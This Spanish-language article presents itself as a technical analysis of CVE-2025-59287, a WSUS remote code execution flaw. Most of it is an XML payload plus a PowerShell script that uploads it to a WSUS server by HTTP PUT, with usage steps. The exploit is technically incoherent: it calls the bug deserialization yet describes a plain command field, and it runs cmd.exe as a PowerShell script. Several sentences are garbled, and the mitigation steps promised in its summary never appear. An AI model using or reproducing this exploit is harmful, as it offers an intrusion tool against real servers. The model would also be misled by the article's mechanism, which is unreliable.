
Análisis técnico y exploit de prueba de concepto para CVE-2025-59287, una RCE crítica en Windows Server Update Services mediante deserialización insegura, incluyendo compilaciones afectadas y pasos de mitigación.
CVE-2025-59287 es una vulnerabilidad crítica de RCE en Windows Server Update Services (WSUS) causada por una deserialización insegura de datos no confiables. Permite a atacantes remotos ejecutar código arbitrario sin autenticación. Se recomienda aplicar parches urgentemente debido a la explotación activa.
CVE‑2025‑59287 – Una Amenaza de Ejecución Remota de Código en Windows Server Update Services (WSUS)
Por Mark Mallia
Windows Server Update Services (WSUS) de Microsoft es la columna vertebral de la gestión de parches para cada plataforma de Windows Server de Microsoft. Recupera actualizaciones del catálogo de actualizaciones de Microsoft, las valida y las envía a todos los servidores de una red. La vulnerabilidad identificada como CVE‑2025‑59287 explota una rutina de deserialización insegura dentro de WSUS que permite a un atacante inyectar contenido XML arbitrario en el feed de actualizaciones. Debido a que WSUS procesa el payload sin validación de la ruta de origen ni de los datos de comando, un atacante puede proporcionar cualquier nombre de archivo y ruta, causando una ejecución remota de código completa en el servidor objetivo.
Por qué esto importa:
| Versión del Producto | Compilaciones Afectadas |
|---|---|
| Windows Server 2012 | 6.2.9200.0 – < 6.2.9200.25728 |
| Windows Server 2012 R2 | 6.3.9600.0 – < 6.3.9600.22826 |
| Windows Server 2016 | 10.0.14393.0 – < 10.0.14393.8524 |
| Windows Server 2019 | 10.0.17763.0 – < 10.0.17763.7922 |
| Windows Server 2022 | 10.0.20348.0 – < 10.0.20348.4297 |
| Windows Server 2025 | 10.0.26100.0 – < 10.0.26100.6905 |
| Windows Server 23H2 | 10.0.25398.0 – < 10.0.25398.1916 |
(Si su entorno utiliza una compilación de parche diferente, simplemente ajuste el rango en consecuencia.)
System.Xml.Linq.XElement.<SourcePath>; este valor se escribe en el disco como una ruta absoluta.<Command> es ejecutado por PowerShell cuando WSUS procesa el stream, proporcionando una ejecución remota de código completa.A continuación se muestra el payload XML que subiremos a un servidor vulnerable.
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS Exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
### Un Script de Exploit de Ejemplo en PowerShell
El siguiente script generará el payload XML, lo subirá mediante HTTP PUT a su instancia de WSUS y dejará un archivo de registro para solucionar problemas.
# --------------------------------------------------
# File: wsus‑exploit.ps1
# Purpose: Generate malicious UpdateStream.xml,
# upload it to the WSUS server,
# trigger the feed.
# --------------------------------------------------
param (
[string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
[int] $Port = 80,
[string] $XmlFile = '.\payload.xml'
)
function Build-Xml {
param ([string]$file)
$xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
<Metadata>
<Title>WSUS exploit</Title>
<Description>Injected by local attacker.</Description>
</Metadata>
<SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
<Command><![CDATA[
powershell -NoProfile -ExecutionPolicy Bypass `
-File C:\Windows\System32\cmd.exe
]]></Command>
</UpdateStream>
"@
Set-Content -Path $file -Value $xmlContent
}
# Build the XML payload
Build-Xml -file $XmlFile
# Upload via HTTP PUT
Invoke-WebRequest -Uri $TargetUrl `
-Method Put `
-InFile $XmlFile `
-OutFile 'upload.log'
Write-Host "Upload complete – WSUS should now process the stream."
winver.exe en cada Windows Server para confirmar que la compilación se encuentra dentro de los rangos anteriores.wsus‑exploit.ps1 a una máquina que pueda alcanzar su instancia de WSUS, modifique $TargetUrl si utiliza una ruta o puerto diferente.C:\Windows\System32\cmd.exe aparece en cada servidor objetivo y que contiene el payload esperado.La información y el código de exploit proporcionados aquí son solo para fines educativos. Asegúrese de tener permiso para ejecutar esta prueba contra su propio entorno de WSUS y siga todas las pautas aplicables de mejores prácticas de seguridad al implementar cambios en sistemas de producción.